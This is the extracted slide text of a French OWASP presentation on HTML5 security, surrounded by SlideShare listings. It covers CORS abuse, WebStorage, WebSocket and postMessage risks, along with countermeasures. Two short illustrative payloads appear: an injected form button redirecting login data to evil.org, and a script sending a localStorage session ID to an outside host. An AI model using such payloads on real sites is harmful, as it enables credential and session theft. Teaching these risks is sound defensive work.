Cours 2/3 - Architecture Web
Cours 2/3 - Architecture WebCours 2/3 - Architecture Web
Cours 2/3 - Architecture WebAdyax
 
La caisse à outils de la visualisation d'informations
La caisse à outils de la visualisation d'informationsLa caisse à outils de la visualisation d'informations
La caisse à outils de la visualisation d'informationsChristopheTricot
 
Introduction aux Technologies Web élaborée par Marouan OMEZZINE
Introduction aux Technologies Web élaborée par Marouan OMEZZINEIntroduction aux Technologies Web élaborée par Marouan OMEZZINE
Introduction aux Technologies Web élaborée par Marouan OMEZZINEMarouan OMEZZINE
 
Nouveau look pour une nouvelle vie : HTML5, Spring, NoSQL et Mobile
Nouveau look pour une nouvelle vie : HTML5, Spring, NoSQL et MobileNouveau look pour une nouvelle vie : HTML5, Spring, NoSQL et Mobile
Nouveau look pour une nouvelle vie : HTML5, Spring, NoSQL et MobileIppon
 
Nouveau look pour une nouvelle vie : HTML5, Spring, NoSQL et mobilité
Nouveau look pour une nouvelle vie : HTML5, Spring, NoSQL et mobilitéNouveau look pour une nouvelle vie : HTML5, Spring, NoSQL et mobilité
Nouveau look pour une nouvelle vie : HTML5, Spring, NoSQL et mobilitéJulien Dubois
 
Securite des Web Services (SOAP vs REST) / OWASP Geneva dec. 2012
Securite des Web Services (SOAP vs REST) / OWASP Geneva dec. 2012Securite des Web Services (SOAP vs REST) / OWASP Geneva dec. 2012
Securite des Web Services (SOAP vs REST) / OWASP Geneva dec. 2012Sylvain Maret
 
Presentation mug-data mapper
Presentation mug-data mapperPresentation mug-data mapper
Presentation mug-data mapperFastConnect
 
Introduction au web des données (Linked Data)
Introduction au web des données (Linked Data)Introduction au web des données (Linked Data)
Introduction au web des données (Linked Data)BorderCloud
 
Le Web et son architecture : Pour une critique philosophique de la notion d’u...
Le Web et son architecture : Pour une critique philosophique de la notion d’u...Le Web et son architecture : Pour une critique philosophique de la notion d’u...
Le Web et son architecture : Pour une critique philosophique de la notion d’u...Alexandre Monnin
 
PowerPoint sur le Web 2.0
PowerPoint sur le Web 2.0PowerPoint sur le Web 2.0
PowerPoint sur le Web 2.0guest4ca1b
 
Slideshare - Web 2.0
Slideshare - Web 2.0Slideshare - Web 2.0
Slideshare - Web 2.0agirard003
 

Ähnlich wie 2011 02-07-html5-security-v1 (20)

OWASP Top Ten 2007 - Sommaire executif - French version
OWASP Top Ten 2007 - Sommaire executif - French versionOWASP Top Ten 2007 - Sommaire executif - French version
OWASP Top Ten 2007 - Sommaire executif - French version
 
Node.js et les nouvelles technologies javascript
Node.js et les nouvelles technologies javascriptNode.js et les nouvelles technologies javascript
Node.js et les nouvelles technologies javascript
 
Cours 1/3 "Architecture Web"
Cours 1/3 "Architecture Web"Cours 1/3 "Architecture Web"
Cours 1/3 "Architecture Web"
 
Html5 par Florent Garin, au Toulouse JUG
Html5 par Florent Garin, au Toulouse JUGHtml5 par Florent Garin, au Toulouse JUG
Html5 par Florent Garin, au Toulouse JUG
 
L'avenir du web au prisme de la ressource
L'avenir du web au prisme de la ressourceL'avenir du web au prisme de la ressource
L'avenir du web au prisme de la ressource
 
Cours 2/3 - Architecture Web
Cours 2/3 - Architecture WebCours 2/3 - Architecture Web
Cours 2/3 - Architecture Web
 
La caisse à outils de la visualisation d'informations
La caisse à outils de la visualisation d'informationsLa caisse à outils de la visualisation d'informations
La caisse à outils de la visualisation d'informations
 
Cemagref
CemagrefCemagref
Cemagref
 
Introduction aux Technologies Web élaborée par Marouan OMEZZINE
Introduction aux Technologies Web élaborée par Marouan OMEZZINEIntroduction aux Technologies Web élaborée par Marouan OMEZZINE
Introduction aux Technologies Web élaborée par Marouan OMEZZINE
 
Traitement distribue en BIg Data - KAFKA Broker and Kafka Streams
Traitement distribue en BIg Data - KAFKA Broker and Kafka StreamsTraitement distribue en BIg Data - KAFKA Broker and Kafka Streams
Traitement distribue en BIg Data - KAFKA Broker and Kafka Streams
 
Nouveau look pour une nouvelle vie : HTML5, Spring, NoSQL et Mobile
Nouveau look pour une nouvelle vie : HTML5, Spring, NoSQL et MobileNouveau look pour une nouvelle vie : HTML5, Spring, NoSQL et Mobile
Nouveau look pour une nouvelle vie : HTML5, Spring, NoSQL et Mobile
 
Nouveau look pour une nouvelle vie : HTML5, Spring, NoSQL et mobilité
Nouveau look pour une nouvelle vie : HTML5, Spring, NoSQL et mobilitéNouveau look pour une nouvelle vie : HTML5, Spring, NoSQL et mobilité
Nouveau look pour une nouvelle vie : HTML5, Spring, NoSQL et mobilité
 
Securite des Web Services (SOAP vs REST) / OWASP Geneva dec. 2012
Securite des Web Services (SOAP vs REST) / OWASP Geneva dec. 2012Securite des Web Services (SOAP vs REST) / OWASP Geneva dec. 2012
Securite des Web Services (SOAP vs REST) / OWASP Geneva dec. 2012
 
Presentation mug-data mapper
Presentation mug-data mapperPresentation mug-data mapper
Presentation mug-data mapper
 
Nouveaux apis
Nouveaux apisNouveaux apis
Nouveaux apis
 
Introduction au web des données (Linked Data)
Introduction au web des données (Linked Data)Introduction au web des données (Linked Data)
Introduction au web des données (Linked Data)
 
IPv6 Matrix Présentation Tunis 19 Juin 2012
IPv6 Matrix Présentation Tunis 19 Juin 2012IPv6 Matrix Présentation Tunis 19 Juin 2012
IPv6 Matrix Présentation Tunis 19 Juin 2012
 
Le Web et son architecture : Pour une critique philosophique de la notion d’u...
Le Web et son architecture : Pour une critique philosophique de la notion d’u...Le Web et son architecture : Pour une critique philosophique de la notion d’u...
Le Web et son architecture : Pour une critique philosophique de la notion d’u...
 
PowerPoint sur le Web 2.0
PowerPoint sur le Web 2.0PowerPoint sur le Web 2.0
PowerPoint sur le Web 2.0
 
Slideshare - Web 2.0
Slideshare - Web 2.0Slideshare - Web 2.0
Slideshare - Web 2.0
 

Mehr von Sébastien GIORIA

OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
OWASP Top10 IoT - CLUSIR Infornord Décembre 2014OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
OWASP Top10 IoT - CLUSIR Infornord Décembre 2014Sébastien GIORIA
 
Analyser la sécurité de son code source avec SonarSource
Analyser la sécurité de son code source avec SonarSourceAnalyser la sécurité de son code source avec SonarSource
Analyser la sécurité de son code source avec SonarSourceSébastien GIORIA
 
2014 09-25-club-27001 iso 27034-presentation-v2.2
2014 09-25-club-27001 iso 27034-presentation-v2.22014 09-25-club-27001 iso 27034-presentation-v2.2
2014 09-25-club-27001 iso 27034-presentation-v2.2Sébastien GIORIA
 
Owasp top 10 2010 Resist toulouse
Owasp top 10   2010  Resist toulouseOwasp top 10   2010  Resist toulouse
Owasp top 10 2010 Resist toulouseSébastien GIORIA
 
Présentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonPrésentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonSébastien GIORIA
 
2013 06-27-securecoding-en - jug pch
2013 06-27-securecoding-en - jug pch2013 06-27-securecoding-en - jug pch
2013 06-27-securecoding-en - jug pchSébastien GIORIA
 
OWASP Top10 2013 - Présentation aux RSSIA 2013
OWASP Top10 2013 - Présentation aux RSSIA 2013OWASP Top10 2013 - Présentation aux RSSIA 2013
OWASP Top10 2013 - Présentation aux RSSIA 2013Sébastien GIORIA
 
OWASP, the life and the universe
OWASP, the life and the universeOWASP, the life and the universe
OWASP, the life and the universeSébastien GIORIA
 
2013 04-04-html5-security-v2
2013 04-04-html5-security-v22013 04-04-html5-security-v2
2013 04-04-html5-security-v2Sébastien GIORIA
 
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)Sébastien GIORIA
 
2013 03-01 automatiser les tests sécurité
2013 03-01 automatiser les tests sécurité2013 03-01 automatiser les tests sécurité
2013 03-01 automatiser les tests sécuritéSébastien GIORIA
 
2013 02-27-owasp top10 javascript
 2013 02-27-owasp top10 javascript 2013 02-27-owasp top10 javascript
2013 02-27-owasp top10 javascriptSébastien GIORIA
 
2012 11-07-owasp mobile top10 v01
2012 11-07-owasp mobile top10 v012012 11-07-owasp mobile top10 v01
2012 11-07-owasp mobile top10 v01Sébastien GIORIA
 

Mehr von Sébastien GIORIA (20)

OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
OWASP Top10 IoT - CLUSIR Infornord Décembre 2014OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
 
Analyser la sécurité de son code source avec SonarSource
Analyser la sécurité de son code source avec SonarSourceAnalyser la sécurité de son code source avec SonarSource
Analyser la sécurité de son code source avec SonarSource
 
2014 09-25-club-27001 iso 27034-presentation-v2.2
2014 09-25-club-27001 iso 27034-presentation-v2.22014 09-25-club-27001 iso 27034-presentation-v2.2
2014 09-25-club-27001 iso 27034-presentation-v2.2
 
SonarQube et la Sécurité
SonarQube et la SécuritéSonarQube et la Sécurité
SonarQube et la Sécurité
 
2014 09-04-pj
2014 09-04-pj2014 09-04-pj
2014 09-04-pj
 
Owasp top 10 2010 Resist toulouse
Owasp top 10   2010  Resist toulouseOwasp top 10   2010  Resist toulouse
Owasp top 10 2010 Resist toulouse
 
Présentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonPrésentation Top10 CEGID Lyon
Présentation Top10 CEGID Lyon
 
Présentation au CRI-Ouest
Présentation au CRI-OuestPrésentation au CRI-Ouest
Présentation au CRI-Ouest
 
2013 06-27-securecoding-en - jug pch
2013 06-27-securecoding-en - jug pch2013 06-27-securecoding-en - jug pch
2013 06-27-securecoding-en - jug pch
 
OWASP Top10 2013 - Présentation aux RSSIA 2013
OWASP Top10 2013 - Présentation aux RSSIA 2013OWASP Top10 2013 - Présentation aux RSSIA 2013
OWASP Top10 2013 - Présentation aux RSSIA 2013
 
OWASP, the life and the universe
OWASP, the life and the universeOWASP, the life and the universe
OWASP, the life and the universe
 
2013 04-04-html5-security-v2
2013 04-04-html5-security-v22013 04-04-html5-security-v2
2013 04-04-html5-security-v2
 
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)
 
2013 03-01 automatiser les tests sécurité
2013 03-01 automatiser les tests sécurité2013 03-01 automatiser les tests sécurité
2013 03-01 automatiser les tests sécurité
 
2013 02-27-owasp top10 javascript
 2013 02-27-owasp top10 javascript 2013 02-27-owasp top10 javascript
2013 02-27-owasp top10 javascript
 
Secure Coding for Java
Secure Coding for JavaSecure Coding for Java
Secure Coding for Java
 
2012 11-07-owasp mobile top10 v01
2012 11-07-owasp mobile top10 v012012 11-07-owasp mobile top10 v01
2012 11-07-owasp mobile top10 v01
 
2012 07-05-spn-sgi-v1-lite
2012 07-05-spn-sgi-v1-lite2012 07-05-spn-sgi-v1-lite
2012 07-05-spn-sgi-v1-lite
 
2012 03-02-sdl-sgi-v03
2012 03-02-sdl-sgi-v032012 03-02-sdl-sgi-v03
2012 03-02-sdl-sgi-v03
 
2012 03-01-ror security v01
2012 03-01-ror security v012012 03-01-ror security v01
2012 03-01-ror security v01
 

2011 02-07-html5-security-v1

  • 1. The OWASP Foundation http://www.owasp.org et la Sécurité ou comment les Poneys envahissent le Web 3.0... Sébastien Gioria French OWASP Leader Global Education Committee Paris - 7 Février 2012 Wednesday, February 8, 12
  • 2. Agenda •Un peu d’histoire •HTML5 pour les nuls en 4mn 2s •Nouvelles attaques et protections ? •Références 2 Wednesday, February 8, 12
  • 3. Back to the past 1995 1998 2000 2005 2012 HTML 2.0 HTML 4.0 HTML 5 ? CSS 2 CSS 3 JavaScript la DOM XmlHttpRequest 3 Wednesday, February 8, 12
  • 5. ELEMENTS INTERESSANTS DE HTML5 5 Wednesday, February 8, 12
  • 6. 4mn 2s Nouvelles balises • On n’est pas la pour parler de peinture... Nouvelles APIs • WebSocket • WebMessaging • IndexedDB • OffLine Web Application • WebStorage (votre nouveau DropBox ? ...) • Cross Origin Ressource Sharing (déja rien que le nom est intéressant...) 6 Wednesday, February 8, 12
  • 7. 4mn 2s WebSocket : Permet d’effectuer des connexions persistantes et bi-directionnelles • mécanisme de “Push” possible • interface en cours de finalisation/ spécifications • nécessite un serveur “compatible” • API minimaliste (send, receive via event) • http://www.w3.org/TR/websockets/ 7 Wednesday, February 8, 12
  • 8. 4mn 2s WebMessaging : communication inter-documents HTML • via la méthode window.postMessage(); • pas de garantie de contenu inoffensif (ie; pas de filtre de type anti-XSS ....) • vérification de l’origine a la charge de l’application receptrice. • il est possible de transporter du JSON :) • http://www.w3.org/TR/webmessaging/ 8 Wednesday, February 8, 12
  • 9. 4mn 2s IndexedDB; la Web SQL Database... •API synchrone et asynchrone •pensée pour JavaScript; stockage d’objets •http://www.w3.org/TR/IndexedDB/ 9 Wednesday, February 8, 12
  • 10. 4mn 2s Offline Web Applications: possibilité d’exécuter tout ou partie des applications même déconnecté. • via navigator.onLine • mise en cache des données nécessaires(HTML, CSS, JavaScript...) • http://www.w3.org/TR/html5/ offline.html 10 Wednesday, February 8, 12
  • 11. 4mn 2s WebStorage : donne la capacité au navigateur de stocker jusqu’a 5Mo à 10Mo de données •deux type de stockage : local ou de session •possibilité de stocker des objets JSON •possibilité de stocker de manière régulière •http://www.w3.org/TR/webstorage/ 11 Wednesday, February 8, 12
  • 12. SÉCURITÉ ? 12 Wednesday, February 8, 12
  • 13. OWASP Top Ten 2010 A3:  Mauvaise  ges-on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec-on des  sessions  et  de   non  sécurisée  à  un   Scrip-ng  (XSS) l’authen-fica-on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric-on  d’accès  à   Forgery  (CSRF)   configura-on  sécurité cryptographique une  URL A9:  Protec-on   A10:    Redirec-ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données http://www.owasp.org/index.php/Top_10 Wednesday, February 8, 12
  • 14. Falsification de Forms Il est possible de contrôler une Forms en dehors de l’élément “forms” <form id=“myform” action=“basic.php” > <input type=“text” name=“user” value=“…” /> </form> <input form=“myform” type=“submit” name=“…” value=“Advanced Version”/> 14 Wednesday, February 8, 12
  • 15. Falsification Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> Si on arrive à injecter ce code New VIP section of the site is open! <input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” /> Automatiquement, evil.org dispose des éléments et la Forms initiale est appelée 15 Wednesday, February 8, 12
  • 16. Protocol/content Handlers Il est possible d’enregistrer des handlers de protocole ou de type de fichiers personalisés • sms:// • application/pdf Il est possible (mais pas recommandé) de changer les handlers standards (dépend des navigateurs) Il n’est pas obligatoire de demander à l’utilisateur son autorisation 16 Wednesday, February 8, 12
  • 17. Cross Origin Resource Sharing 1/4 XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript. 17 Wednesday, February 8, 12
  • 18. Cross Origin Resource Sharing 1/4 XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript. 17 Wednesday, February 8, 12
  • 19. Cross Origin Resource Sharing 1/4 XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript. Mais c’etait sans compter les 17 Wednesday, February 8, 12
  • 20. Cross Origin Resource Sharing 1/4 XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript. Mais c’etait sans compter les HTTP/1.1 200 OK Content-Type: text/html Access-Control-Allow-Origin: http://internal.example.com 17 Wednesday, February 8, 12
  • 21. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18 Wednesday, February 8, 12
  • 22. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18 Wednesday, February 8, 12
  • 23. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18 Wednesday, February 8, 12
  • 24. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18 Wednesday, February 8, 12
  • 25. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18 Wednesday, February 8, 12
  • 26. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr GET / HTTP/1.1 intranet 18 Wednesday, February 8, 12
  • 27. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr GET / HTTP/1.1 intranet 18 Wednesday, February 8, 12
  • 28. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18 Wednesday, February 8, 12
  • 29. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr HTTP/1.1 200 Ok <script>XMLHttpRequest... intranet 18 Wednesday, February 8, 12
  • 30. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr HTTP/1.1 200 Ok <script>XMLHttpRequest... intranet 18 Wednesday, February 8, 12
  • 31. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18 Wednesday, February 8, 12
  • 32. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr XMLHTTPRequest intranet 18 Wednesday, February 8, 12
  • 33. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr XMLHTTPRequest intranet 18 Wednesday, February 8, 12
  • 34. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18 Wednesday, February 8, 12
  • 35. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr Access-Control-Allow-Origin: * HTTP/1.1 200 Ok intranet 18 Wednesday, February 8, 12
  • 36. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr Access-Control-Allow-Origin: * HTTP/1.1 200 Ok intranet 18 Wednesday, February 8, 12
  • 37. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr Access-Control-Allow-Origin: * HTTP/1.1 200 Ok intranet 18 Wednesday, February 8, 12
  • 38. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr Access-Control-Allow-Origin: * HTTP/1.1 200 Ok intranet 18 Wednesday, February 8, 12
  • 39. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18 Wednesday, February 8, 12
  • 40. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr POST /endpoint HTTP/1.1 .....(contenu de la page interne) intranet 18 Wednesday, February 8, 12
  • 41. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 42. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 43. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 44. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 45. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 46. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr GET / HTTP/1.1 www.cible.com 19 Wednesday, February 8, 12
  • 47. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr GET / HTTP/1.1 www.cible.com 19 Wednesday, February 8, 12
  • 48. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 49. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr HTTP/1.1 200 Ok <iframe src=... www.cible.com 19 Wednesday, February 8, 12
  • 50. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 51. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 52. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 53. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 54. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr XML HttpRe ques t www.cible.com 19 Wednesday, February 8, 12
  • 55. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 56. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 57. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr XML Http www.cible.com Reques t 19 Wednesday, February 8, 12
  • 58. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 59. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 60. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com XML Http Reques t 19 Wednesday, February 8, 12
  • 61. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 62. Cross Origin Resource Sharing 4/4 Contre-mesures : •Restriction du domaine •Ne pas faire confiance à l’entete; elle peut être modifiée par l’attaquant. •Mettre en place des contre-mesures réseaux (pour les DDOS) 20 Wednesday, February 8, 12
  • 63. WebStorage Pas de contrôle de la part de l’utilisateur sur ce qui est stocké/accéder L’injection de Javascript peut bypasser la limitation du contrôle d’accès. ➡Vol de Sessions ➡Vol de données sensibles ➡Tracking d’utilisateurs 21 Wednesday, February 8, 12
  • 64. WebStorage Vol de Sessions; juste un peu plus compliqué. : <script> document.write("<img src='http://www.mysite.com?sessionID="+localStorage.getItem('SessionID')+"'>"); </script> le flag HTTPOnly des cookies ne fonctionne pas sur les localStorage ! 22 Wednesday, February 8, 12
  • 65. WebStorage Tracking User Les localStorage ne sont pas forcément effacer lorsqu’on efface l’historique Il est donc possible de créer des identifiants (de type cookies) persistants permettant de suivre l’utilisateur 23 Wednesday, February 8, 12
  • 66. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? 24 Wednesday, February 8, 12
  • 67. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? 24 Wednesday, February 8, 12
  • 68. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? 24 Wednesday, February 8, 12
  • 69. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? 24 Wednesday, February 8, 12
  • 70. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 24 Wednesday, February 8, 12
  • 71. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 24 Wednesday, February 8, 12
  • 72. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok 24 Wednesday, February 8, 12
  • 73. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok 24 Wednesday, February 8, 12
  • 74. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket 24 Wednesday, February 8, 12
  • 75. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket 24 Wednesday, February 8, 12
  • 76. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocl Handshake 24 Wednesday, February 8, 12
  • 77. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocl Handshake 24 Wednesday, February 8, 12
  • 78. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocl Handshake Tunnel TCP Full Duplex 24 Wednesday, February 8, 12
  • 79. Websocket Menaces Parmi les attaques possible, certaines sont triviales: •Shell Distant •Botnet Web • via un XSS ou tout simplement en se connectant à un site Web. •Port scanning... 25 Wednesday, February 8, 12
  • 80. WebSocket •Empoisonnement de cache de proxy Proxy Transparent 26 Wednesday, February 8, 12
  • 81. WebSocket •Empoisonnement de cache de proxy Proxy Transparent 26 Wednesday, February 8, 12
  • 82. WebSocket •Empoisonnement de cache de proxy Proxy Transparent 26 Wednesday, February 8, 12
  • 83. WebSocket •Empoisonnement de cache de proxy Proxy Transparent 26 Wednesday, February 8, 12
  • 84. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 26 Wednesday, February 8, 12
  • 85. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 26 Wednesday, February 8, 12
  • 86. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok 26 Wednesday, February 8, 12
  • 87. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok 26 Wednesday, February 8, 12
  • 88. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket 26 Wednesday, February 8, 12
  • 89. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket 26 Wednesday, February 8, 12
  • 90. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake 26 Wednesday, February 8, 12
  • 91. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake 26 Wednesday, February 8, 12
  • 92. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake 26 Wednesday, February 8, 12
  • 93. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake GET / HTTP/1.1 Host: some.host.com 26 Wednesday, February 8, 12
  • 94. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake GET / HTTP/1.1 Host: some.host.com 26 Wednesday, February 8, 12
  • 95. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake GET / HTTP/1.1 Host: some.host.com HTTP/1.1 200 Ok Contenu falsifié 26 Wednesday, February 8, 12
  • 96. OffLine Web Application <!DOCTYPE HTML> <html manifest="/cache.manifest"> <body> •Possibilité d’avoir des attaques de Type APT ? •Possibilité de pollution des caches de navigateurs (via un point d’accès malveillant); meme du SSL 27 Wednesday, February 8, 12
  • 97. WebMessage •Possibilité de perte de données sensibles (si envoyées à une “mauvaise iframe”) Page du site “interne” postMessage() <iframe src=”outside.control” 28 Wednesday, February 8, 12
  • 98. API Geolocation Possibilité de découvrir le lieu ou se trouve l’utilisateur (sous reserve d’avoir un GPS, ou autre système). Perte de données de vie privée... 29 Wednesday, February 8, 12
  • 99. Bac a sable des iframes <iframe sandbox="....." src="http://monsite.com/index.html"></iframe> Par défaut si rien n’est précisé : •Les formulaires, scripts et plug-ins sont désactivés. •Pas d’accès aux éléments stockés en local (cookies, sessionStorage, localStorage). •Par d’AJAX •Les liens ne peuvent cibler d’autres frames •Le contenu est considéré externe (pas d’accès à la DOM) 30 Wednesday, February 8, 12
  • 100. Bac a sable des iframes Lever les restrictions : •allow-same-origin : autorise le contenu a être traité comme de la même origine est pas externe •allow-top-navigation : l’iframe peut accéder à la navigation de niveau supérieur •allow-forms : autorise les formulaires •allow- scripts : les scripts (hors popup) sont autorisés Les navigateurs ne supportent pas tous ces éléments ! 31 Wednesday, February 8, 12
  • 101. Autres points importants Les longs traitements en JavaScript “plantaient” les navigateurs. Les WebWorkers permettent de lancer des JavaScript en tache de fond DDOS avec CORS & WebWorkers Calculs distribués (cf Ravan) 32 Wednesday, February 8, 12
  • 102. Autres Points importants CSS3 introduit de nouvelles capacités à injecter du code JavaScript Nouvelles capacités au ClickJacking 33 Wednesday, February 8, 12
  • 103. Conclusion Plein de nouvelles API interessantes pour le développeur L’ouverture se fait au détriment de la sécurité.... Une surface d’attaque accrue La belle part au JavaScript (qui peut s’executer sans consentement utilisateur) 34 Wednesday, February 8, 12
  • 104. ww.html5test.com 35 Wednesday, February 8, 12
  • 105. Quelques Sites a suivre.. http://www.w3.org/TR/html5/ : le standard https://www.owasp.org/index.php/ HTML5_Security_Cheat_Sheet http://www.caniuse.com : liste des différents supports d’API par navigateur http://www.html5test.com : le support de VOTRE navigateur vis a vis de la norme. 36 Wednesday, February 8, 12